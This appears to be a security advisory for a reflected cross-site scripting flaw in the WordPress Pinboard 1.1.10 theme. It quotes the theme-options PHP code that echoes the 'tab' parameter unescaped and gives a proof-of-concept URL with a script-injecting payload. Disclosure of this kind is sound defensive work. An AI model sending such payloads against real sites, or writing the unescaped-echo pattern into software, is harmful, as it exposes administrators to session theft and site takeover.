WordPress Pinboard 1.1.10 Theme Reflected XSS

Homepage:

https://wordpress.org/themes/pinboard

CVSS Score

3.5

CVSS Vector

(AV:N/AC:M/Au:S/C:P/I:N/A:N)

Description:

$_GET['tab'] is not escaped.

File: pinboard\includes\theme-options.php

function pinboard_theme_page() {
	add_theme_page( __( 'Pinboard Theme Options', 'pinboard' ), __( 'Theme Options', 'pinboard' ), 'edit_theme_options', 'pinboard_options', 'pinboard_admin_options_page' );
}

add_action( 'admin_menu', 'pinboard_theme_page' );

function pinboard_admin_options_page() { ?>
	<div class="wrap">
		<?php pinboard_admin_options_page_tabs(); ?>
		<?php if ( isset( $_GET['settings-updated'] ) ) : ?>
			<div class='updated'><p><?php _e( 'Theme settings updated successfully.', 'pinboard' ); ?></p></div>
		<?php endif; ?>
		<form action="options.php" method="post">
			<?php settings_fields( 'pinboard_theme_options' ); ?>
			<?php do_settings_sections('pinboard_options'); ?>
			<p>&nbsp;</p>
			<?php $tab = ( isset( $_GET['tab'] ) ? $_GET['tab'] : 'general' ); ?>
			<input name="pinboard_theme_options[submit-<?php echo $tab; ?>]" type="submit" class="button-primary" value="<?php _e( 'Save Settings', 'pinboard' ); ?>" />
			<input name="pinboard_theme_options[reset-<?php echo $tab; ?>]" type="submit" class="button-secondary" value="<?php _e( 'Reset Defaults', 'pinboard' ); ?>" />
			<script>
				jQuery(document).ready(function($) {
					$('.wp-color-picker').wpColorPicker();
				});
			</script>
		</form>
	</div>
<?php
}

Proof of Concept:

XSS will be visible for admin.

http://wordpress-url/wp-admin/themes.php?page=pinboard_options&tab="/><script>alert(String.fromCharCode(88,83,83));</script>

Timeline: